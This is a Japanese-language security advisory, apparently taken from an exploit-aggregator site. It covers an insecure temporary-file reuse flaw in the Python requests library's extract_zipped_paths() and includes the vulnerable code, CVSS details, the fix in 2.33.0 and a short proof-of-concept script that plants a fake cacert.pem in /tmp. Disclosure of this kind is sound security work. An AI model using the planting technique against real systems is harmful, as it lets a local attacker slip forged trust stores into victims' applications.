## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAYCELATION-CVE-2026-25645
# [CVE-2026-25645] requests.utils.extract_zipped_paths() における安全でない一時ファイルの再利用
## エグゼクティブサマリー
Python の `requests` ライブラリにおいて、公開ユーティリティ関数 `requests.utils.extract_zipped_paths()` に脆弱性が確認されました。この関数は、システムの一時ディレクトリ (`/tmp`) にファイルを展開しようとする際に、予測可能で一意でないファイル名を使用しており、既存ファイルの整合性や所有権を検証していません。
`requests` と `certifi` を組み合わせたデフォルトの動作は `importlib.resources` によって緩和されていますが、このユーティリティは、圧縮リソースの処理にこれに依存する下流アプリケーションやカスタム実装にとって、依然として**セキュリティ上の落とし穴** となっています。
## 脆弱性情報
* **CVE ID** : CVE-2026-25645
* **CWE** : CWE-377 (安全でない一時ファイル)
* **深刻度** : 中程度 (5.0)
* **CVSS ベクター** : `CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N`
* **影響を受けるバージョン** : < 2.33.0
### CVSS v3 基本メトリクス:
* **攻撃元区分** : ローカル
* **攻撃条件の複雑さ** : 低
* **必要な特権レベル** : 低
* **ユーザー関与** : 要
* **スコープ** : 変更なし
* **機密性への影響** : なし
* **完全性への影響** : 高
* **可用性への影響** : なし
## 技術的分析
### メカニズム
関数 `requests.utils.extract_zipped_paths()` は、zip アーカイブからメンバーを展開するために設計されています (zipapp 環境で CA バンドルによく使用されます)。脆弱なロジックは以下の手順で構成されています:
1. **予測可能なターゲット** : システムの一時ディレクトリと zip メンバーの `basename` を結合します (例: `/tmp/cacert.pem`)。
2. **安全でないチェック** : `if not os.path.exists(extracted_path)` を使用して、ファイルを展開するかどうかを判断します。
3. **パスの返却** : ファイルが存在する場合、そのファイルが現在のプロセスによって作成されたものであることを確認したり、内容を検証したりすることなく、直ちにパスを返します。
### 根本原因分析
`requests/utils.py` では、ロジックは以下のように実装されています:
root@kitploit:~
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
## 影響と悪用
低い特権を持つ**ローカル攻撃者** は、`/tmp` 内の予測可能なパスに悪意のあるファイル (例: 偽造された CA バンドル) を事前に作成することで、これを悪用できます。被害者 (ユーザーの操作が必要) がこのユーティリティを呼び出すアプリケーションを実行すると:
1. ユーティリティはファイルが既に存在することを確認します。
2. ユーティリティは展開をスキップし、悪意のあるファイルへのパスを返します。
3. 被害者のアプリケーションは攻撃者のデータを読み込み、**完全性への高い影響** (例: 偽造されたトラストストアの読み込み) をもたらします。
## 概念実証 (スタンドアロン)
以下のスクリプトは、ユーティリティがアーカイブ内の正規のファイルではなく、事前に存在する「偽の」ファイルを再利用する方法を示すことで、この脆弱性を実証しています。
root@kitploit:~
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
## 修復
この問題は**バージョン 2.33.0** で対処されています。修正では、圧縮リソースをより安全に処理するために `importlib.resources` への移行が行われ、展開がランダムで予測不可能なディレクトリで行われること、および共有の誰でも書き込み可能なディレクトリ内の既存ファイルの再利用を回避することが保証されています。